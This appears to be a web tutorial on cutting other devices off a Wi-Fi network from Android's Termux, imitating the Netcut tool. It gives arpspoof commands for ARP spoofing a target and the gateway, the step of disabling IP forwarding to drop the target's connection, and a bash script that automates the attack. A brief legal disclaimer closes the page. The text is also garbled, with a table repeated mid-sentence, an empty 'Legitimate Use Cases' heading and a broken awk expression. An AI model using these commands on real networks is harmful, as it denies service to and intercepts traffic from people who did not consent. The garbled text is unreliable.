Netcut Termux May 2026
| Problem | Solution |
|--------|----------|
| arpspoof: couldn't find arp | Install dsniff fully. Run pkg install libnet and pkg install dsniff |
| No internet after cutting | Ensure net.ipv4.ip_forward is correct. Use sysctl -w net.ipv4.ip_forward=1 |
| “Operation not permitted” | Try tsu to get root. If no root, ARP spoofing often fails on newer Android kernels |
| BetterCap not starting | Install Go correctly. Use go install github.com/bettercap/bettercap@latest |
| Nmap shows all hosts as down | Android may block raw sockets. Use nmap -sn -PR (ARP ping) – works without root sometimes |
If you prefer a manual approach without third-party scripts, you can use arpspoof (part of the dsniff suite) if your device is rooted.
Use nmap to list all live hosts on your network:
# First, find your gateway IP and subnet ip route | grep default
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.100Netcut Termux
Result: Traffic between target and gateway flows through your device. To cut internet entirely, simply do not forward packets:
# Disable IP forwarding
sysctl -w net.ipv4.ip_forward=0
Now the target’s connection drops — same as Netcut’s “cut” feature. | Problem | Solution | |--------|----------| | arpspoof:
Automated cutting with a script:
#!/bin/bash # netcut_clone.sh TARGET=$1 GATEWAY=$(ip route | grep default | awk 'print $3') INTERFACE="wlan0"
echo "Cutting $TARGET from $GATEWAY" arpspoof -i $INTERFACE -t $TARGET $GATEWAY > /dev/null 2>&1 & arpspoof -i $INTERFACE -t $GATEWAY $TARGET > /dev/null 2>&1 &
Run with bash netcut_clone.sh 192.168.1.100.
Using these tools to disconnect devices that do not belong to you is considered a Denial of Service (DoS) attack, which is a criminal offense in many jurisdictions.
Legitimate Use Cases:
Always ensure you have permission from the network owner before performing any network tests.
